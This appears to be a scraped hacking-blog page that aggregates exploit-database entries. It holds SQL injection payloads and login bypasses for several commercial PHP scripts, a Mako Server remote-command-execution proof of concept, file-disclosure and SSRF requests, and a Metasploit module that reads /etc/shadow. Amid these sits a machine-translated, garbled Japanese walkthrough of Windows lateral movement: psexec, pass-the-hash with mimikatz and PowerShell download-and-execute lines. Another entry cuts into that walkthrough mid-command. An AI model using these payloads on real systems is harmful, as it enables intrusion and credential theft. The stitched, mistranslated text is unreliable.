Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    863149320

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

# # # # # 
# Exploit Title: Restaurant Site Script 1.4 - SQL Injection
# Dork: N/A
# Date: 13.09.2017
# Vendor Homepage: http://www.icloudcenter.com/
# Software Link: http://www.icloudcenter.com/restaurant-site-script.htm
# Demo: http://icloudcenter.net/demos/icrestaurant/
# Version: 1.4
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an attacker to inject sql commands....
# 
# Proof of Concept: 
# 
# http://localhost/[PATH]/index.php?page=static_pages&key=[SQL]
# 
# Etc..
# # # # #
            
# # # # # 
# Exploit Title: Dutch Auction Script 1.2 - SQL Injection
# Dork: N/A
# Date: 13.09.2017
# Vendor Homepage: http://www.icloudcenter.com/
# Software Link: http://www.icloudcenter.com/dutch-auction-script.htm
# Demo: http://icloudcenter.net/demos/icdutchauction/
# Version: 1.2
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an attacker to inject sql commands....
# 
# Proof of Concept: 
# 
# http://localhost/[PATH]/admin
# 
# User: 'or 1=1 or ''=' Pass: anything
# 
# http://localhost/[PATH]/admin/viewuserips.php?id=[SQL]

# http://localhost/[PATH]/admin/editadminuser.php?id=[SQL]
# 
# Etc..
# # # # #
            
# # # # # 
# Exploit Title: Auto Dealer Car Sales PHP Script 2.2 - SQL Injection
# Dork: N/A
# Date: 13.09.2017
# Vendor Homepage: http://www.icloudcenter.com/
# Software Link: http://www.icloudcenter.com/auto-dealer-car-sales-script.htm
# Demo: http://icloudcenter.net/demos/icautosales/
# Version: 2.2
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an attacker to inject sql commands....
# 
# Proof of Concept: 
# 
# http://localhost/[PATH]/index.php?cmd=do_car_search&type=7&mod_id=[SQL]
# 
# http://localhost/[PATH]/index.php?cmd=advertise_details&category=car&aid=[SQL]
# 
# http://localhost/[PATH]/index.php?cmd=directory&parent=[SQL]
# 
# Etc..
# # # # #
            
# # # # # 
# Exploit Title: Travel Site Script 2.2 - Authentication Bypass
# Dork: N/A
# Date: 13.09.2017
# Vendor Homepage: http://www.icloudcenter.com/
# Software Link: http://www.icloudcenter.com/traveling-website-script.htm
# Demo: http://icloudcenter.net/demos/ICPenny/
# Version: 2.2
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an attacker to inject sql commands....
# 
# Proof of Concept: 
# 
# http://localhost/[PATH]/admin
# 
# User: 'or 1=1 or ''=' Pass: anything
# 
# Etc..
# # # # #
            
# # # # # 
# Exploit Title: Classifieds Software Script Like Craigslist 1.1 - SQL Injection
# Dork: N/A
# Date: 13.09.2017
# Vendor Homepage: http://www.icloudcenter.com/
# Software Link: http://www.icloudcenter.com/craigslist-like-classifieds-script.htm
# Demo: http://icloudcenter.net/demos/icclassifieds/
# Version: 1.1
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an attacker to inject sql commands....
# 
# Proof of Concept: 
# 
# http://localhost/[PATH]/post_details.php?city=0&id=[SQL]
# 
# -3061'++/*!00004UNION*/+/*!00004SELECT*/+0x31,0x32,0x33,0x34,0x35,0x36,(/*!00004Select*/+export_set(5,@:=0,(/*!00004select*/+count(*)from(information_schema.columns)where@:=export_set(5,export_set(5,@,/*!00004table_name*/,0x3c6c693e,2),/*!00004column_name*/,0xa3a,2)),@,2)),0x496873616e2053656e63616e,0x39,0x3130,0x3131,0x3132,0x3133,0x3134,0x3135,0x3136,0x3137--+- 
# 
# http://localhost/[PATH]/view_posts.php?city=[SQL]
# 
# http://localhost/[PATH]/index.php?c=[SQL]
# 
# Etc..
# # # # #
            
# # # # # 
# Exploit Title: Students Course Assessment Test Script 1.2 - SQL Injection
# Dork: N/A
# Date: 13.09.2017
# Vendor Homepage: http://www.icloudcenter.com/
# Software Link: http://www.icloudcenter.com/student-course-assessment-test-script.htm
# Demo: http://icloudcenter.net/demos/icstudents/
# Version: 1.2
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an attacker to inject sql commands....
# 
# Proof of Concept: 
# 
# http://localhost/[PATH]/index.php?page=static_page&key=[SQL]
# 
# -EfE'+/*!00009UniOn*/+/*!00009SelEcT*/+0x31,0x32,0x3c68313e494853414e2053454e43414e3c2f68313e,(/*!00009Select*/+export_set(5,@:=0,(/*!00009select*/+count(*)from(information_schema.columns)where@:=export_set(5,export_set(5,@,/*!00009table_name*/,0x3c6c693e,2),/*!00009column_name*/,0xa3a,2)),@,2))--+-
# 
# Etc..
# # # # #
            
# # # # # 
# Exploit Title: ICSurvey- Survey Creating Script 1.1 - SQL Injection
# Dork: N/A
# Date: 13.09.2017
# Vendor Homepage: http://www.icloudcenter.com/
# Software Link: http://www.icloudcenter.com/survey-creating-script.htm
# Demo: http://icloudcenter.net/demos/icsurvey/
# Version: 1.1
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an attacker to inject sql commands....
# 
# Proof of Concept: 
# 
# http://localhost/[PATH]/index.php?page=static_page&key=[SQL]
# 
# http://localhost/[PATH]/survey.php?page=preview&test=[SQL]
# 
# Etc..
# # # # #
            
# # # # # 
# Exploit Title: Jewelry Store Site Script 1.1 - SQL Injection
# Dork: N/A
# Date: 13.09.2017
# Vendor Homepage: http://www.icloudcenter.com/
# Software Link: http://www.icloudcenter.com/jewelry-site-script.htm
# Demo: http://icloudcenter.net/demos/icjewelry/
# Version: 1.1
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an attacker to inject sql commands....
# 
# Proof of Concept: 
# 
# http://localhost/[PATH]/index.php?page=static_pages&key=[SQL]
# 
# Etc..
# # # # #
            

0x00シーン

今回は、「redhook.da」ドメインでアカウントの利用可能な資格情報を取得することです。イントラネットホストを制御するための権限から始めますが、ターゲットドメインコントローラーと同じサブネットにはありません。下の図に示すように:

1049983-20201012143948201-798475802.png

さらに、攻撃者がクライアント1ホストのローカル管理者キャッシュ認証資格情報を取得したと仮定します。一般に、ネットワーク範囲が十分に大きい場合、対応する保存された有効な資格情報は、バッチ、VB、NET、PS1などのスクリプトを介してネットワーク共有にあります。初期アクセスを取得します。この記事では、この攻撃者は、Windowsを横向きに移動する方法と、AVSのバイパスを含まない状況に焦点を当てています。

0x00クライアントホストを攻撃する

1。バッチスクリプトの取得は上記のとおりです。 Clent1(10.0.0.129)ホストのユーザー認証資格情報は、ネットワーク共有のバッチ処理とスクリプトを通じて取得されました。

#\\ fileserver \ users \ bob \ workstations \ errorlog.batのmock contents

@ECHOオフ

ネット使用'\\ 10.0.0.129 \ c $' /user:bob imsosecur3! #Create共有

存在する場合'\\ 10.0.0.129 \ c $ \ program files \ msbuild \ errorlog.txt'(

Echo 'ため息、クライアントのより多くのエラー1!コピー. '

'\\ 10.0.0.129 \ c $ \ program files \ msbuild \ errorlog.txt' c: \ uses \ bob \ logs \ client1 \

del '\\ 10.0.0.129 \ c $ \ program files \ msbuild \ errorlog.txt'

) それ以外(

echo 'yaay、クライアントに新しいエラーはありません!'

))

正味使用'\\ 10.0.0.129 \ c $' /delete

バッチスクリプトを介して指定されたIPのNetBIOS情報をすばやく取得します。

NBTSCAN -VH 10.0.0.129

または

NBTSTAT -A 10.0.0.129

1049983-20201012143948729-1907007498.jpg

コマンドnbtstat -a ipを使用して同じ操作を実行することもできます。ホスト名win7-ent-cli1を取得することができ、それはredhookドメインに接続されています

2.PsexecはMetasploitのPSEXECを使用します。これにより、Kaliのクライアント1ホストのリバウンドシェルを簡単に取得できます。ボブはドメインアカウントではなくローカルアカウントであることに注意してください。したがって、SMBDomainパラメーターは使用されません。

msfuse exploit/winodws/smb/psexec

MSFSET RHOST 10.0.0.129

MSFSET SMBUSER BOB

msfset smbpass imsosecur3!

msfshowオプション

msfexploit

1049983-20201012143949223-1768103760.png

ここでは、RemComSVCを使用してPSEXECをシミュレートするImpacketパッケージのPsexecを使用することもできます。ここでの利点は、明確な卒業証書が得られない場合、ハッシュパスを受け入れることができることです。

python psexec.py bob:imsosecur3!@10.0.0.0.129 cmd

1049983-20201012143949787-910686673.png

Windowsの下のpsexec.exeも水平方向に移動することができ、実行可能ファイルに署名する利点があります。このコマンドに「-s」識別子を追加すると、システムシェルが取得されます。

psexec.exe \\ 10.0.0.129 -u bob -p imsosecur3! CMD

1049983-20201012143950422-1118353263.png

3.WMIは、リモートコマンドツールの実行に関するものです。ここで最も有名なのはWMICツールです。リモートホストでのコマンド実行を可能にするだけでなく、WMIを使用して機密情報を取得し、ホストシステムを再構成します。このツールは、Windowsのコマンドが組み込まれています。

wmic /node:10.0.0.129 /user:bob /password:3360imsososecur3! ComputerSystemリストブリーフ /FORMAT:LIST #REMOTELY COMPUTER情報を取得します

wmic /node:10.0.0.129 /user:bob /password:3360imsososecur3! ComputerSystem usernameを取得#REMOTELYターゲットユーザーアカウント情報許可を取得します

wmic /node:10.0.0.129 /user:bob /password:3360imsososecur3!プロセスコールクレート 'calc.exe' #remote作成プロセス、ここにcalc.exeがあります

wmic /node:10.0.0.129 /user:bob /password:imsososecur3! ComputerSystem Process Name、ProcessID |を取得します検索#REMOTELYプロセスID、名前、およびプロセスを実行する

} 1049983-20201012143950828-66913465.png

4.wmiexecは、インパケットパッケージでWMIEXECツールを使用し、コマンドを実行してコマンド出力を印刷することができます。また、半互換シェルを提供したり、ハッシュを通したりすることができます。

python wmiexec.py bob:imsososecur3!@10.0.0.129ルートプリント-4 10.*

1049983-20201012143951357-1913063964.png

PowersploitzのInvoke-Wmicommandは、PscRedentialオブジェクトの使用により、より多くのメモリを占有しますが、コマンドの印刷とスクリプトのメモリストレージの場所を取得できます。

1049983-20201012143951938-1370830872.png

5。Pass-The-Hash(WCEおよびMimikatz)時々、ターゲットホストコマンドウィンドウが取得されると、ターゲットホストユーザーのNTLMハッシュ値は取得でき、プレーンテキストパスワードは取得できません。この場合、MetaSploit(PSEXEC)またはImpackを使用できます。環境がローカルウィンドウ環境に限定されている場合、WCEまたはMimikatzを使用してNTLMハッシュをプロセスに注入できます。

おっと

正味使用\\ 10.0.0.129 \ admin $#ターゲット共有は取得できません。ユーザー名とパスワードはここで必要です

wce.exe -s bob:3360AAD3B435B1404EEAAD3B435B51404E:F6C0FA29F4CAD745AD04BED1D00A7C82 #REMOTE WCE.EXE

正味使用\\ 10.0.0.129 \ admin $

dir \\ 10.0.0.129 \ admin $

1049983-20201012143952406-1738653105.png

欠点は、WCEがエラーアラーム情報を表示することです!PowerShellを使用して、Mimikatzをメモリに直接ロードできます!ただし、この場合、コンパイルされたバイナリファイルmimikatz.exeを使用することをお勧めします。

正味使用\\ 10.0.0.129 \ $ admin

Miminatz.exe

mimikatz#sekurlsa:pth /user:bob /domain: /NTLM:F6C0FA29F4CAD745AD04BED1D00A7C82 #MMIKATモジュールPTH

おっと

正味使用\\ 10.0.0.129 \ $ admin

1049983-20201012143952894-1915756352.png

この場合、フィールドはすべて「。」に設定されていることに注意してください。これは、ボブがローカルアカウントだからです。

0x02拠点01

を確立します

1.MetasPloit(MimikatzとHashdump)は、Mimikatzを使用して、アクティブセッションのユーザー資格情報を取得し、Hashdumpを取得して、現在ログインしていないローカルアカウントのハッシュを取得します。

MeterPreterload Mimikatz #load Mimikatzモジュール

MeterPrtertSPKG #Enhanceシステム許可

MeterPrterMSVV#現在アクティブなセッション資格情報を取得します

MeterPrterHashdump#ローカルホストアカウントのすべてのハッシュ値を取得します

1049983-20201012143953491-2109071315.png

2。SecretSdumpとInvoke-Mimikatzは、PowersploitのImpackのSecretSdumpおよびInvoke-Mimikatzにも使用できます。この場合、Invoke-Mimikatzは攻撃者のWebサーバーでホストされています。

python secretsdump.py bob:imsosecur3!@10.0.0.129

python psexec.py bob:imsosecur3!@10.0.0.0.129 cmd

Powershell -exec Bypass -command 'iex(new-Object System.net.webclient).dowloadstring(' http://10.0.0.129/invoke-mimikatz.ps1 '); Invoke-Mimikatz' '

Mimiatz(Powershell)#Sekurlsa:logonpasswords

1049983-20201012143954299-46010124.png

もちろん、この問題を解決する他の方法はありますが、これらが主なアプローチであると考えています。

0x03情報収集

Redhookドメインのホストにアクセスできるようになりました。これは別のサブネットにも接続されています。

1。トークンの買収。これで、Redhookドメインにマシンがあり、異なるサブネットに接続できます。今、私たちは情報を収集し始めます。

ドメイン情報を照会するには、ドメインユーザーが必要です。現在のBOBユーザーはドメインユーザーまたはシステムの許可ではありませんが、使用できます

ntquerysysteminformation他のユーザーのトークンを発見し、ログインをシミュレートします。

MeterPreterにはこのプラグインがあり、プロセスが非常にシンプルになります。

MeterPrtergetUid

meterpterlist_tokens -u

meterprterimpersonate_token redhook \\ asenath.waite

MeterPrtershell

誰が

1049983-20201012143955121-1187620161.png

また、リモートで使用できるPSEXECのような機能を備えたツールであるLuke JenningsのIncognitoを使用することもできます。

Incognito.exe -H 10.0.0.129 -U bob -p imsosecur3! list_tokens -u

Incognito.exe -H 10.0.0.129 -U bob -p imsosecur3! -c redhook \ asenath.waite cmd.exeを実行します

1049983-20201012143955732-470727192.png

最後に、PowerSploitのInvoke-TokenManipulationがあります。ただし、現在の状態では、必要な機能を実際に取得できないため、使用することはお勧めしません。

2。ドメイン情報収集。現在、ターゲットドメインホストのシェルが取得されており、最大の結果を得るには、いくつかの情報収集を実行する必要があります。

c: \ windows \ system32 whoami redhook \ asenath.waite

c: \ windows \ system32 hostnamewin7-ent-cli1

c: \ windows \ system32 ipconfig

Windows IP構成

イーサネットアダプターローカルエリア接続2:

接続固有のDNS接尾辞。 LocalDomain Link-Local IPv6アドレス。 FE80:3360A1BA:A1AB:170C:7916%17 IPv4アドレス。 。 10.0.0.129#攻撃者のサブネットサブネットマスク。 。 255.255.255.0デフォルトゲートウェイ。 。

イーサネットアダプターBluetoothネットワークConnection:

メディア状態。 。メディアが接続された接続固有のDNSサフィックス。

イーサネットアダプターローカルエリアConnection:

接続固有のDNS接尾辞。 Link-Local IPv6アドレス。 FE80:33605DDC:1E6336017E9:9E15%11 IPv4アドレス。 。 10.1.1.2#redhookサブネットサブネットマスク。 。 255.255.255.0デフォルトゲートウェイ。 。 10.1.1.1

トンネルアダプターISATAP。{8D0466B5-1F88-480C-A42D-49A871635C9A} :

メディア状態。 。メディアが接続された接続固有のDNSサフィックス。

トンネルアダプターiSatap.localdomain:

メディア状態。 。メディアが接続された接続固有のDNSサフィックス。 LocalDomain

トンネルアダプターISATAP。{5CBBE015-1E1C-4926-8025-EBB59E470186} :

メディア状態。 。メディアが接続された接続固有のDNSサフィックス。

#非常に小さなネットワーク、3人のホスト、私たちが妥協したばかりのホストを含む。

-------------------------------------------------------------------------------\\REDRUM-DC red.dc\\WIN7-ENT-CLI1\\WIN7-ENT-CLI2

コマンドは正常に完了しました。

#dcユーザーが認証されているtoc: \ windows \ system32 echo%logonserver%\\ redrum-dc

c: \ windows \ system32 ping -n 1 redrum -dc

ping redrum-dc.redhook.local [10.1.1.200]は、10.1.1.1.1.1.1.1.200:=32 time1ms ttl=128から32バイトのdata:Reply

10.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1:送信=1、受信=1、失われた=0(0%損失)、約100万秒の往復時間3:最小=0ms、最大=0ms、平均=0ms

#ローカルユーザーのリスト\ windows \ system32ネットユーザー

ユーザーは\\ win7-ent-cli1を説明します

-----------------------------------------------------------------------------------管理者Bob guestTemplateAdmin

コマンドは正常に完了しました。

#redhookドメインユーザーをリストします

C: \ Windows \ System32ネットユーザー /ドメイン

リクエストは、domain redhook.localのドメインコントローラーで処理されます。

\\ redrum-dc.redhook.localをユーザーアカウント

---------------------------------------------------------------------------------------------------------------------------------------------------------------- GuestJohn.smith Krbtgt Redhook.Darobert.Suydam Wilbur.Whateley

コマンドは正常に完了しました。

#powersploit=invoke-enumeratelatelocaladmin:ネットワーク内のボックスにあるローカル管理者であるすべてのユーザーを見つけます。

c: \ windows \ system32 powershell -exec bypass -command 'iex(new -object system.net.webclient).downloadstring(' http://10.0.0.0.128/powerview.ps1 '); invoke -enumeratelocaladm

# # # # # 
# Exploit Title: Custom T-Shirt WebStore Script 1.2 - SQL Injection
# Dork: N/A
# Date: 13.09.2017
# Vendor Homepage: http://www.icloudcenter.com/
# Software Link: http://www.icloudcenter.com/t-shirt.htm
# Demo: http://icloudcenter.net/demos/ictshirt/
# Version: 1.2
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an attacker to inject sql commands....
# 
# Proof of Concept: 
# 
# http://localhost/[PATH]/index.php?page=static_pages&key=[SQL]
# 
# Etc..
# # # # #
            
# # # # # 
# Exploit Title: Customized Products Shopping Script 1.1 - SQL Injection
# Dork: N/A
# Date: 13.09.2017
# Vendor Homepage: http://www.icloudcenter.com/
# Software Link: http://www.icloudcenter.com/bpProductConfigurator.htm
# Demo: http://icloudcenter.net/demos/icproductconfigurator/
# Version: 1.1
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an attacker to inject sql commands....
# 
# Proof of Concept: 
# 
# http://localhost/[PATH]/index.php?page=static_pages&key=[SQL]
# 
# Etc..
# # # # #
            
# # # # # 
# Exploit Title: Grocery Store Supermarket Script 1.1 - SQL Injection
# Dork: N/A
# Date: 13.09.2017
# Vendor Homepage: http://www.icloudcenter.com/
# Software Link: http://www.icloudcenter.com/grocery-store-supermarket-script.htm
# Demo: http://icloudcenter.net/demos/icgrocery/
# Version: 1.1
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an attacker to inject sql commands....
# 
# Proof of Concept: 
# 
# http://localhost/[PATH]/index.php?page=static_pages&key=[SQL]
# 
# Etc..
# # # # #
            
[+] SSD Beyond Security: https://blogs.securiteam.com/index.php/archives/3391
[+] Credits: John Page a.k.a hyp3rlinx	
[+] Website: hyp3rlinx.altervista.org
[+] Source:  http://hyp3rlinx.altervista.org/advisories/MAKO-WEB-SERVER-MULTIPLE-UNAUTHENTICATED-VULNERABILIITIES-SECURITEAM.txt
[+] ISR: ApparitionSec            


Vulnerabilities Summary
The following advisory describe three (3) vulnerabilities found in Mako Server’s tutorial page.

The vulnerabilities found are:

Unauthenticated Arbitrary File Write vulnerability that leads to Remote Command Execution
Unauthenticated File Disclosure
Unauthenticated Server Side Request Forgery
As these tutorial may be used as the basis for production code, it is important for users to be aware of these issues.

“As a compact application and web server, the Mako Server helps developers rapidly design secure IoT and web applications. The Mako Server provides
an application server environment from which developers can design and implement complete, custom solutions. The Mako Web Server is ideal for embedded Linux systems.”

Credit
An independent security researcher, John Page AKA hyp3rlinx, has reported this vulnerability to Beyond Security’s SecuriTeam Secure Disclosure program

Vendor response

RealTimeLogic was informed of the vulnerability on Aug 13, but while acknowledging the receipt of the vulnerability information, refused to respond to the
technical claims, to give a fix timeline or coordinate an advisory, saying:

“I just sent a formal notification for the commercial license requirement and also we need to put a maintenance contract in place.
Internally I need to set-up a cost allocation account for billing against these support inquiries.”

At this time it’s unclear whether these vulnerabilities are going to be fixed and further attempts to get a status clarification failed.


Vulnerabilities details

Unauthenticated Arbitrary File Write vulnerability that leads to Remote Command Execution:

Mako web-server tutorial does not sufficiently sanitizing the HTTP PUT requests, when an attacker send HTTP PUT request to ‘save.lsp‘ web page, the input passed
to a function responsible for accessing the filesystem.

The attacker input will be saved on the victims machine and can be execute by sending HTTP GET request to ‘manage.lsp‘


HTTP PUT  'http://VICTIM-IP/examples/save.lsp?ex=2.1'
HTTP GET  'http://VICTIM-IP/examples/manage.lsp?execute=true&ex=2.1&type=lua'


Proof of Concept


import urllib2,time

#MakoServer v2.5 Remote Command Execution 0day
#Credits: John Page AKA hyp3rlinx
#=========================================

print  'MakoServer v2.5 Remote Command Execution'

CMD="os.execute('c:/Windows/system32/calc.exe')"

opener = urllib2.build_opener(urllib2.HTTPHandler)
request = urllib2.Request('http://IP/examples/save.lsp?ex=2.1', data=CMD)
request.add_header('Content-Type', 'text/plain;charset=UTF-8')
request.add_header('X-Requested-With', 'XMLHttpRequest')
request.add_header('Referer', 'http://localhost/Lua-Types.lsp')
request.get_method = lambda: 'PUT'
opener.open(request)

time.sleep(1)

urllib2.urlopen('http://IP/examples/manage.lsp?execute=true&ex=2.1&type=lua')



Unauthenticated File Disclosure

Mako web-server tutorial is not sufficiently sanitizing GET requests, when an attacker send GET request to the URI IP/fs/../.., the input passed
without modification and the response with the file content is returned.

Proof of Concept
The following GET request will response with the C/Windows/system.ini content:

curl -v http://VICTIM-IP/fs/C/Windows/system.ini

* About to connect() to VICTIM-IP port 80
*   Trying VICTIM-IP... connected
* Connected to VICTIM-IP (VICTIM-IP) port 80
> GET /fs/C/Windows/system.ini HTTP/1.1
> User-Agent: curl/7.15.5 (x86_64-redhat-linux-gnu) libcurl/7.15.5 OpenSSL/0.9.8b zlib/1.2.3 libidn/0.6.5
> Host: VICTIM-IP
> Accept: */*
>
< HTTP/1.1 200 OK
< Date: Mon, 07 Aug 2017 22:21:27 GMT
< Server: MakoServer.net
< Content-Type: application/octet-stream
< Accept-Ranges: bytes
< Etag: 58b4be20
< Last-Modified: Tue, 28 Feb 2017 00:02:40 GMT
< Content-Length: 219
< Keep-Alive: Keep-Alive
; for 16-bit app support
[386Enh]
woafont=dosapp.fon
EGA80WOA.FON=EGA80WOA.FON
EGA40WOA.FON=EGA40WOA.FON
CGA80WOA.FON=CGA80WOA.FON
CGA40WOA.FON=CGA40WOA.FON

[drivers]
wave=mmdrv.dll
timer=timer.drv

[mci]


Server Side Request Forgery

Mako web-server tutorial is not sufficiently sanitizing incoming POST requests, when an attacker sends an POST request to the ‘rtl/appmgr/new-application.lsp‘
URI, the input will be executed and the server will connect to the attacker’s machine.

Proof of Concept
Start Wireshark to see successful connections made from Mako Web Server victim machine.

Initiate requests from another machine using CURL:

curl -v -X POST http://VICTIM-IP/rtl/appmgr/new-application.lsp -d io=net -d path=http://EXTERNAL-IP



Network Access:
===============
Remote



Severity:
=========
High



Disclosure Timeline:
====================
Would like to acknowledge Beyond Security’s SSD program for the help with co-ordination of this vulnerability.
More details can be found on their blog at:

https://blogs.securiteam.com/index.php/archives/3391



[+] Disclaimer
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and
that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit
is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility
for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information
or exploits by the author or elsewhere. All content (c).

hyp3rlinx
            
# # # # # 
# Exploit Title: PHP Dashboards NEW 4.4 - Arbitrary File Read
# Dork: N/A
# Date: 11.09.2017
# Vendor Homepage: http://dataninja.biz/
# Software Link: https://codecanyon.net/item/php-dashboards-v40-collaborative-social-dashboards/19314871
# Demo: http://phpdashboardv4.dataninja.biz/
# Version: 4.4
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an attacker to arbitrary file read.
# 
# Proof of Concept:
# 
# 1
# http://localhost/[PATH]/php/file/read.php?filename=[FILE]
# 
# 2
# http://localhost/[PATH]/php/file/readxls.php?filename=[FILE]
# http://localhost/[PATH]/php/file/PHPReader/temp/[.......].xls
# 
# Etc..
# # # # #
            
# # # # # 
# Exploit Title: PHP Dashboards NEW 4.4 - SQL Injection
# Dork: N/A
# Date: 11.09.2017
# Vendor Homepage: http://dataninja.biz/
# Software Link: https://codecanyon.net/item/php-dashboards-v40-collaborative-social-dashboards/19314871
# Demo: http://phpdashboardv4.dataninja.biz/
# Version: 4.4
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an attacker to inject sql commands....
# 
# Proof of Concept:
# 
# http://localhost/[PATH]/php/share/save.php?dashID=[SQL]
# 
# http://localhost/[PATH]/php/save/db.php?dashID=[SQL]
# 
# Etc..
# # # # #
            
# Exploit Title: JobStar Monster Clone Script v1.0 - SQL Injection
# Date: 2017-09-11
# Exploit Author: 8bitsec
# Vendor Homepage: https://www.abservetech.com/
# Software Link: https://www.abservetech.com/jobstar-monster-clone/
# Version: 1.0
# Tested on: [Kali Linux 2.0 | Mac OS 10.12.6]
# Email: contact@8bitsec.io
# Contact: https://twitter.com/_8bitsec

Release Date:
=============
2017-09-11

Product & Service Introduction:
===============================
JobStar is a Monster Clone that enables you to build your own Online Job Portal website in a "few hours" and become fully operational in just a day.

Technical Details & Description:
================================

Blind SQL injection on [id] parameter.

Proof of Concept (PoC):
=======================

http://localhost.com/[path]/jobdetailshow?id=19 and 1=1

Parameter: id (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=19 and 4297=4297

==================
8bitsec - [https://twitter.com/_8bitsec]
            
require 'msf/core'

class MetasploitModule < Msf::Auxiliary

	include Msf::Exploit::Remote::HttpClient

	def initialize
		super(
			'Name'        => 'Alienvault OSSIM av-centerd Util.pm get_file Information Disclosure',
			'Description' => %q{
				This module exploits an information disclosure vulnerability found within the get_file
				function in Util.pm. The vulnerability exists because of an unsanitized $r_file parameter
				that allows for the leaking of arbitrary file information.
			},
			'References'  =>
			[
				[ 'CVE', '2014-4153' ],
				[ 'ZDI', '14-207' ],
				[ 'URL', 'http://forums.alienvault.com/discussion/2806' ],
			],
			'Author'      => [ 'james fitts' ],
			'License'     => MSF_LICENSE,
			'DisclosureDate' => 'Jun 13 2014')

		register_options([
			Opt::RPORT(40007),
			OptBool.new('SSL',   [true, 'Use SSL', true]),
			OptString.new('FILE', [ false, 'This is the file to download', '/etc/shadow'])
		], self.class)
	
	end

	def run

		soap =  "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\r\n"
		soap += "<soap:Envelope xmlns:soap=\"http:\/\/schemas.xmlsoap.org/soap/envelope/\"\r\n"
		soap += "xmlns:soapenc=\"http:\/\/schemas.xmlsoap.org\/soap\/encoding/\" xmlns:xsd=\"http:\/\/www.w3.org\/2001\/XMLSchema\"\r\n"
		soap += "xmlns:xsi=\"http:\/\/www.w3.org\/2001\/XMLSchema-instance\"\r\n"
		soap += "soap:encodingStyle=\"http:\/\/schemas.xmlsoap.org\/soap\/encoding\/\">\r\n"
		soap += "<soap:Body>\r\n"
		soap += "<get_file xmlns=\"AV\/CC\/Util\">\r\n"
		soap += "<c-gensym3 xsi:type=\"xsd:string\">All</c-gensym3>\r\n"
		soap += "<c-gensym5 xsi:type=\"xsd:string\">423d7bea-cfbc-f7ea-fe52-272ff7ede3d2</c-gensym5>\r\n"
		soap += "<c-gensym7 xsi:type=\"xsd:string\">#{datastore['RHOST']}</c-gensym7>\r\n"
		soap += "<c-gensym9 xsi:type=\"xsd:string\">#{Rex::Text.rand_text_alpha(4 + rand(4))}</c-gensym9>\r\n"
		soap += "<c-gensym11 xsi:type=\"xsd:string\">#{datastore['FILE']}</c-gensym11>\r\n"
		soap += "</get_file>\r\n"
		soap += "</soap:Body>\r\n"
		soap += "</soap:Envelope>\r\n"

		res = send_request_cgi(
			{
				'uri'	=>	'/av-centerd',
				'method'	=>	'POST',
				'ctype'		=>	'text/xml; charset=UTF-8',
				'data'		=>	soap,
				'headers'	=>	{
					'SOAPAction'	=>	"\"AV/CC/Util#get_file\""
				}
			}, 20)

		if res && res.code == 200
			print_good("Dumping contents of #{datastore['FILE']} now...")
			data = res.body.scan(/(?<=xsi:type="soapenc:Array"><item xsi:type="xsd:string">)[\S\s]+<\/item><item xsi:type="xsd:string">/)
			puts data[0].split("<")[0]
		else
			print_bad("Something went wrong...")
